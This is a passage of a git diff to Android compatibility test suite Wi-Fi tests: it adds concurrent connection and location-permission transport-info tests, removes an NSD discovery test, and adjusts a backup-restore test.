+        Network[] networks = mConnectivityManager.getAllNetworks();
+        return Arrays.stream(networks)
+                .filter(n ->
+                        mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+                .count();
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Connect to a network using peer to peer API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertEquals(2, getNumWifiConnections());
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using peer to peer API.
+     * 2. Connect to a network using internet connectivity API.
+     * 3. Verify that both connections are active.
+     */
+    @Test
+    public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
+        // First trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Now trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Ensure that there are 2 wifi connections available for apps.
+        assertEquals(2, getNumWifiConnections());
+    }
+
+    /**
+     * Tests the concurrent connection flow.
+     * 1. Connect to a network using internet connectivity API.
+     * 2. Trigger connect to a network using peer to peer API which is rejected by user.
+     * 3. Verify that only one connection is active.
+     */
+    @Test
+    public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
+        // First trigger internet connectivity.
+        testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+        // Now trigger peer to peer connectivity.
+        WifiNetworkSpecifier specifier =
+                createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+                        mTestNetworkForPeerToPeer)
+                        .build();
+        testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+        // Ensure that there is only 1 wifi connection available for apps.
+        assertEquals(1, getNumWifiConnections());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
deleted file mode 100644
index a65f06f..0000000
--- a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.wifi.cts;
-
-import android.content.Context;
-import android.net.nsd.NsdManager;
-import android.net.nsd.NsdServiceInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.ServerSocket;
-import java.util.Arrays;
-import java.util.Random;
-import java.util.List;
-import java.util.ArrayList;
-
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class NsdManagerTest extends WifiJUnit3TestBase {
-
-    private static final String TAG = "NsdManagerTest";
-    private static final String SERVICE_TYPE = "_nmt._tcp";
-    private static final int TIMEOUT = 2000;
-
-    private static final boolean DBG = false;
-
-    NsdManager mNsdManager;
-
-    NsdManager.RegistrationListener mRegistrationListener;
-    NsdManager.DiscoveryListener mDiscoveryListener;
-    NsdManager.ResolveListener mResolveListener;
-    private NsdServiceInfo mResolvedService;
-
-    public NsdManagerTest() {
-        initRegistrationListener();
-        initDiscoveryListener();
-        initResolveListener();
-    }
-
-    private void initRegistrationListener() {
-        mRegistrationListener = new NsdManager.RegistrationListener() {
-            @Override
-            public void onRegistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onRegistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onUnregistrationFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceRegistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceRegistered", serviceInfo);
-            }
-
-            @Override
-            public void onServiceUnregistered(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceUnregistered", serviceInfo);
-            }
-        };
-    }
-
-    private void initDiscoveryListener() {
-        mDiscoveryListener = new NsdManager.DiscoveryListener() {
-            @Override
-            public void onStartDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStartDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onStopDiscoveryFailed(String serviceType, int errorCode) {
-                setEvent("onStopDiscoveryFailed", errorCode);
-            }
-
-            @Override
-            public void onDiscoveryStarted(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStarted", info);
-            }
-
-            @Override
-            public void onDiscoveryStopped(String serviceType) {
-                NsdServiceInfo info = new NsdServiceInfo();
-                info.setServiceType(serviceType);
-                setEvent("onDiscoveryStopped", info);
-            }
-
-            @Override
-            public void onServiceFound(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceFound", serviceInfo);
-            }
-
-            @Override
-            public void onServiceLost(NsdServiceInfo serviceInfo) {
-                setEvent("onServiceLost", serviceInfo);
-            }
-        };
-    }
-
-    private void initResolveListener() {
-        mResolveListener = new NsdManager.ResolveListener() {
-            @Override
-            public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
-                setEvent("onResolveFailed", errorCode);
-            }
-
-            @Override
-            public void onServiceResolved(NsdServiceInfo serviceInfo) {
-                mResolvedService = serviceInfo;
-                setEvent("onServiceResolved", serviceInfo);
-            }
-        };
-    }
-
-
-
-    private final class EventData {
-        EventData(String callbackName, NsdServiceInfo info) {
-            mCallbackName = callbackName;
-            mSucceeded = true;
-            mErrorCode = 0;
-            mInfo = info;
-        }
-        EventData(String callbackName, int errorCode) {
-            mCallbackName = callbackName;
-            mSucceeded = false;
-            mErrorCode = errorCode;
-            mInfo = null;
-        }
-        private final String mCallbackName;
-        private final boolean mSucceeded;
-        private final int mErrorCode;
-        private final NsdServiceInfo mInfo;
-    }
-
-    private final List<EventData> mEventCache = new ArrayList<EventData>();
-
-    private void setEvent(String callbackName, int errorCode) {
-        if (DBG) Log.d(TAG, callbackName + " failed with " + String.valueOf(errorCode));
-        EventData eventData = new EventData(callbackName, errorCode);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    private void setEvent(String callbackName, NsdServiceInfo info) {
-        if (DBG) Log.d(TAG, "Received event " + callbackName + " for " + info.getServiceName());
-        EventData eventData = new EventData(callbackName, info);
-        synchronized (mEventCache) {
-            mEventCache.add(eventData);
-            mEventCache.notify();
-        }
-    }
-
-    void clearEventCache() {
-        synchronized(mEventCache) {
-            mEventCache.clear();
-        }
-    }
-
-    int eventCacheSize() {
-        synchronized(mEventCache) {
-            return mEventCache.size();
-        }
-    }
-
-    private int mWaitId = 0;
-    private EventData waitForCallback(String callbackName) {
-
-        synchronized(mEventCache) {
-
-            mWaitId ++;
-            if (DBG) Log.d(TAG, "Waiting for " + callbackName + ", id=" + String.valueOf(mWaitId));
-
-            try {
-                long startTime = android.os.SystemClock.uptimeMillis();
-                long elapsedTime = 0;
-                int index = 0;
-                while (elapsedTime < TIMEOUT ) {
-                    // first check if we've received that event
-                    for (; index < mEventCache.size(); index++) {
-                        EventData e = mEventCache.get(index);
-                        if (e.mCallbackName.equals(callbackName)) {
-                            if (DBG) Log.d(TAG, "exiting wait id=" + String.valueOf(mWaitId));
-                            return e;
-                        }
-                    }
-
-                    // Not yet received, just wait
-                    mEventCache.wait(TIMEOUT - elapsedTime);
-                    elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-                }
-                // we exited the loop because of TIMEOUT; fail the call
-                if (DBG) Log.d(TAG, "timed out waiting id=" + String.valueOf(mWaitId));
-                return null;
-            } catch (InterruptedException e) {
-                return null;                       // wait timed out!
-            }
-        }
-    }
-
-    private EventData waitForNewEvents() throws InterruptedException {
-        if (DBG) Log.d(TAG, "Waiting for a bit, id=" + String.valueOf(mWaitId));
-
-        long startTime = android.os.SystemClock.uptimeMillis();
-        long elapsedTime = 0;
-        synchronized (mEventCache) {
-            int index = mEventCache.size();
-            while (elapsedTime < TIMEOUT ) {
-                // first check if we've received that event
-                for (; index < mEventCache.size(); index++) {
-                    EventData e = mEventCache.get(index);
-                    return e;
-                }
-
-                // Not yet received, just wait
-                mEventCache.wait(TIMEOUT - elapsedTime);
-                elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
-            }
-        }
-
-        return null;
-    }
-
-    private String mServiceName;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        if (DBG) Log.d(TAG, "Setup test ...");
-        mNsdManager = (NsdManager) getContext().getSystemService(Context.NSD_SERVICE);
-
-        Random rand = new Random();
-        mServiceName = new String("NsdTest");
-        for (int i = 0; i < 4; i++) {
-            mServiceName = mServiceName + String.valueOf(rand.nextInt(10));
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (DBG) Log.d(TAG, "Tear down test ...");
-        super.tearDown();
-    }
-
-    public void testNDSManager() throws Exception {
-        EventData lastEvent = null;
-
-        if (DBG) Log.d(TAG, "Starting test ...");
-
-        NsdServiceInfo si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-
-        byte testByteArray[] = new byte[] {-128, 127, 2, 1, 0, 1, 2};
-        String String256 = "1_________2_________3_________4_________5_________6_________" +
-                 "7_________8_________9_________10________11________12________13________" +
-                 "14________15________16________17________18________19________20________" +
-                 "21________22________23________24________25________123456";
-
-        // Illegal attributes
-        try {
-            si.setAttribute(null, (String) null);
-            fail("Could set null key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("", (String) null);
-            fail("Could set empty key");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(String256, (String) null);
-            fail("Could set key with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(3));
-            fail("Could set key+value combination with more than 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("key", String256.substring(4));
-            fail("Could set key+value combination with 255 characters");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x19}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute("=", (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        try {
-            si.setAttribute(new String(new byte[]{0x7F}), (String) null);
-            fail("Could set key with invalid character");
-        } catch (IllegalArgumentException e) {
-            // expected
-        }
-
-        // Allowed attributes
-        si.setAttribute("booleanAttr", (String) null);
-        si.setAttribute("keyValueAttr", "value");
-        si.setAttribute("keyEqualsAttr", "=");
-        si.setAttribute(" whiteSpaceKeyValueAttr ", " value ");
-        si.setAttribute("binaryDataAttr", testByteArray);
-        si.setAttribute("nullBinaryDataAttr", (byte[]) null);
-        si.setAttribute("emptyBinaryDataAttr", new byte[]{});
-        si.setAttribute("longkey", String256.substring(9));
-
-        ServerSocket socket;
-        int localPort;
-
-        try {
-            socket = new ServerSocket(0);
-            localPort = socket.getLocalPort();
-            si.setPort(localPort);
-        } catch (IOException e) {
-            if (DBG) Log.d(TAG, "Could not open a local socket");
-            assertTrue(false);
-            return;
-        }
-
-        if (DBG) Log.d(TAG, "Port = " + String.valueOf(localPort));
-
-        clearEventCache();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 1
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(eventCacheSize() == 1);
-
-        // We may not always get the name that we tried to register;
-        // This events tells us the name that was registered.
-        String registeredName = lastEvent.mInfo.getServiceName();
-        si.setServiceName(registeredName);
-
-        clearEventCache();
-
-        mNsdManager.discoverServices(SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD,
-                mDiscoveryListener);
-
-        // Expect discovery started
-        lastEvent = waitForCallback("onDiscoveryStarted");                  // id = 2
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Remove this event, so accounting becomes easier later
-        synchronized (mEventCache) {
-            mEventCache.remove(lastEvent);
-        }
-
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        boolean found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 3
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // We've removed all serviceFound events, and we've removed the discoveryStarted
-        // event as well, so now the event cache should be empty!
-        assertTrue(eventCacheSize() == 0);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 4
-
-        assertNotNull(mResolvedService);
-
-        // Check Txt attributes
-        assertEquals(8, mResolvedService.getAttributes().size());
-        assertTrue(mResolvedService.getAttributes().containsKey("booleanAttr"));
-        assertNull(mResolvedService.getAttributes().get("booleanAttr"));
-        assertEquals("value", new String(mResolvedService.getAttributes().get("keyValueAttr")));
-        assertEquals("=", new String(mResolvedService.getAttributes().get("keyEqualsAttr")));
-        assertEquals(" value ", new String(mResolvedService.getAttributes()
-                .get(" whiteSpaceKeyValueAttr ")));
-        assertEquals(String256.substring(9), new String(mResolvedService.getAttributes()
-                .get("longkey")));
-        assertTrue(Arrays.equals(testByteArray,
-                mResolvedService.getAttributes().get("binaryDataAttr")));
-        assertTrue(mResolvedService.getAttributes().containsKey("nullBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("nullBinaryDataAttr"));
-        assertTrue(mResolvedService.getAttributes().containsKey("emptyBinaryDataAttr"));
-        assertNull(mResolvedService.getAttributes().get("emptyBinaryDataAttr"));
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": Port = " +
-                String.valueOf(lastEvent.mInfo.getPort()));
-
-        assertTrue(lastEvent.mInfo.getPort() == localPort);
-        assertTrue(eventCacheSize() == 1);
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        // Unregister the service
-        mNsdManager.unregisterService(mRegistrationListener);
-        lastEvent = waitForCallback("onServiceUnregistered");               // id = 5
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        // Expect a callback for service lost
-        lastEvent = waitForCallback("onServiceLost");                       // id = 6
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        // Register service again to see if we discover it
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        si = new NsdServiceInfo();
-        si.setServiceType(SERVICE_TYPE);
-        si.setServiceName(mServiceName);
-        si.setPort(localPort);
-
-        // Create a new registration listener and register same service again
-        initRegistrationListener();
-
-        mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-
-        lastEvent = waitForCallback("onServiceRegistered");                 // id = 7
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        registeredName = lastEvent.mInfo.getServiceName();
-
-        // Expect a record to be discovered
-        // Expect a service record to be discovered (and filter the ones
-        // that are unrelated to this test)
-        found = false;
-        for (int i = 0; i < 32; i++) {
-
-            lastEvent = waitForCallback("onServiceFound");                  // id = 8
-            if (lastEvent == null) {
-                // no more onServiceFound events are being reported!
-                break;
-            }
-
-            assertTrue(lastEvent.mSucceeded);
-
-            if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                    lastEvent.mInfo.getServiceName());
-
-            if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
-                // Save it, as it will get overwritten with new serviceFound events
-                si = lastEvent.mInfo;
-                found = true;
-            }
-
-            // Remove this event from the event cache, so it won't be found by subsequent
-            // calls to waitForCallback
-            synchronized (mEventCache) {
-                mEventCache.remove(lastEvent);
-            }
-        }
-
-        assertTrue(found);
-
-        // Resolve the service
-        clearEventCache();
-        mNsdManager.resolveService(si, mResolveListener);
-        lastEvent = waitForCallback("onServiceResolved");                   // id = 9
-
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-
-        if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
-                lastEvent.mInfo.getServiceName());
-
-        assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
-        assertNotNull(mResolvedService);
-
-        // Check that we don't have any TXT records
-        assertEquals(0, mResolvedService.getAttributes().size());
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.stopServiceDiscovery(mDiscoveryListener);
-        lastEvent = waitForCallback("onDiscoveryStopped");                  // id = 10
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-
-        checkForAdditionalEvents();
-        clearEventCache();
-
-        mNsdManager.unregisterService(mRegistrationListener);
-
-        lastEvent =  waitForCallback("onServiceUnregistered");              // id = 11
-        assertTrue(lastEvent != null);
-        assertTrue(lastEvent.mSucceeded);
-        assertTrue(checkCacheSize(1));
-    }
-
-    boolean checkCacheSize(int size) {
-        synchronized (mEventCache) {
-            int cacheSize = mEventCache.size();
-            if (cacheSize != size) {
-                Log.d(TAG, "id = " + mWaitId + ": event cache size = " + cacheSize);
-                for (int i = 0; i < cacheSize; i++) {
-                    EventData e = mEventCache.get(i);
-                    String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                    Log.d(TAG, "eventName is " + e.mCallbackName + sname);
-                }
-            }
-            return (cacheSize == size);
-        }
-    }
-
-    boolean checkForAdditionalEvents() {
-        try {
-            EventData e = waitForNewEvents();
-            if (e != null) {
-                String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
-                Log.d(TAG, "ignoring unexpected event " + e.mCallbackName + sname);
-            }
-            return (e == null);
-        }
-        catch (InterruptedException ex) {
-            return false;
-        }
-    }
-}
-
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index 842c30c..15c93d9 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -35,6 +35,7 @@
 import android.net.Uri;
 import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 import android.support.test.uiautomator.UiDevice;
@@ -49,7 +50,6 @@
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
 
-
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -165,6 +165,13 @@
         }
     }
 
+    /** WifiConfiguration#isEnterprise() is @hide, so copy/paste partial implementation here. */
+    private static boolean isEnterprise(WifiConfiguration config) {
+        WifiEnterpriseConfig enterpriseConfig = config.enterpriseConfig;
+        return enterpriseConfig != null
+                && enterpriseConfig.getEapMethod() != WifiEnterpriseConfig.Eap.NONE;
+    }
+
     /**
      * Tests for {@link WifiManager#retrieveBackupData()} &
      * {@link WifiManager#restoreBackupData(byte[])}
@@ -180,16 +187,20 @@
         try {
             uiAutomation.adoptShellPermissionIdentity();
 
-            // Pick any saved network to modify;
+            // Pick a regular saved network to modify (non-enterprise, non-Passpoint)
             origNetwork = mWifiManager.getConfiguredNetworks().stream()
-                    .filter(n -> mContext.checkPermission(
-                            android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
-                            == PERMISSION_GRANTED)
+                    .filter(n -> {
+                        boolean canOverrideConfig = mContext.checkPermission(
+                                android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
+                                == PERMISSION_GRANTED;
+                        return canOverrideConfig && !isEnterprise(n) && !n.isPasspoint();
+                    })
                     .findAny()
                     .orElse(null);
             if (origNetwork == null) {
-                Log.e(TAG, "Need a network created by an app holding OVERRIDE_WIFI_CONFIG "
-                        + "permission to fully evaluate the functionality");
+                Log.e(TAG, "Need a non-enterprise and non-Passpoint network created by an app "
+                        + "holding OVERRIDE_WIFI_CONFIG permission to fully evaluate the "
+                        + "functionality");
             }
 
             // Retrieve backup data.
@@ -249,8 +260,13 @@
             byte[] backupData = mWifiManager.retrieveSoftApBackupData();
 
             // Modify softap config and set it.
+            String origSsid = origSoftApConfig.getSsid();
+            char lastOrigSsidChar = origSsid.charAt(origSsid.length() - 1);
+            String updatedSsid = new StringBuilder(origSsid.substring(0, origSsid.length() - 1))
+                    .append((lastOrigSsidChar == 'a' || lastOrigSsidChar == 'A') ? 'b' : 'a')
+                    .toString();
             SoftApConfiguration modSoftApConfig = new SoftApConfiguration.Builder(origSoftApConfig)
-                    .setSsid(origSoftApConfig.getSsid() + "b")
+                    .setSsid(updatedSsid)
                     .build();
             mWifiManager.setSoftApConfiguration(modSoftApConfig);
             // Ensure that it does not match the orig softap config.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index b92b17c..84a050f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -30,6 +30,7 @@
 import android.net.wifi.WifiManager;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.filters.SdkSuppress;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
@@ -73,6 +74,10 @@
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusActivity";
     private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE =
             WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusActivity";
+    private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE =
+            WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusService";
 
     private static final int DURATION_MS = 10_000;
     private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
@@ -221,6 +226,17 @@
                 WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE), status);
     }
 
+    private void retrieveTransportInfoFgActivityAndAssertStatusIs(boolean status)
+            throws Exception {
+        startFgActivityAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY), status);
+    }
+
+    private void retrieveTransportInfoBgServiceAndAssertStatusIs(boolean status) throws Exception {
+        startBgServiceAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+                WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE), status);
+    }
+
     @Test
     public void testScanTriggerNotAllowedForForegroundActivityWithNoLocationPermission()
             throws Exception {
@@ -318,4 +334,54 @@
                 WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
         retrieveConnectionInfoBgServiceAndAssertStatusIs(false);
     }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalNotAllowedForForegroundActivityWithNoLocationPermission()
+            throws Exception {
+        retrieveTransportInfoFgActivityAndAssertStatusIs(false);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testTransportInfoRetrievalAllowedForForegroundActivityWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoFgActivityAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalAllowedForBackgroundServiceWithBackgroundLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_BACKGROUND_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(true);
+    }
+
+    /**
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void
+    testTransportInfoRetrievalNotAllowedForBackgroundServiceWithFineLocationPermission()
+            throws Exception {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+                WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+        retrieveTransportInfoBgServiceAndAssertStatusIs(false);
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 7ee1b72..b1778e6 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -19,6 +19,11 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 import static android.net.wifi.WifiConfiguration.INVALID_NETWORK_ID;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_SOFTAP;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_AWARE;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_DIRECT;
+import static android.net.wifi.WifiScanner.WIFI_BAND_24_GHZ;
+import static android.net.wifi.WifiScanner.WIFI_BAND_5_GHZ;
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -41,14 +46,17 @@
 import android.net.NetworkRequest;
 import android.net.TetheringManager;
 import android.net.Uri;
+import android.net.wifi.CoexUnsafeChannel;
 import android.net.wifi.ScanResult;
 import android.net.wifi.SoftApCapability;
 import android.net.wifi.SoftApConfiguration;
 import android.net.wifi.SoftApInfo;
 import android.net.wifi.WifiClient;
 import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
 import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SubsystemRestartTrackingCallback;
 import android.net.wifi.WifiManager.WifiLock;
 import android.net.wifi.WifiNetworkConnectionStatistics;
 import android.net.wifi.WifiNetworkSuggestion;
@@ -73,13 +81,14 @@
 import android.text.TextUtils;
 import android.util.ArraySet;
 import android.util.Log;
+import android.util.SparseIntArray;
 
 import androidx.core.os.BuildCompat;
 import androidx.test.filters.SdkSuppress;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.compatibility.common.util.ThrowingRunnable;
@@ -95,6 +104,7 @@
 import java.net.URL;
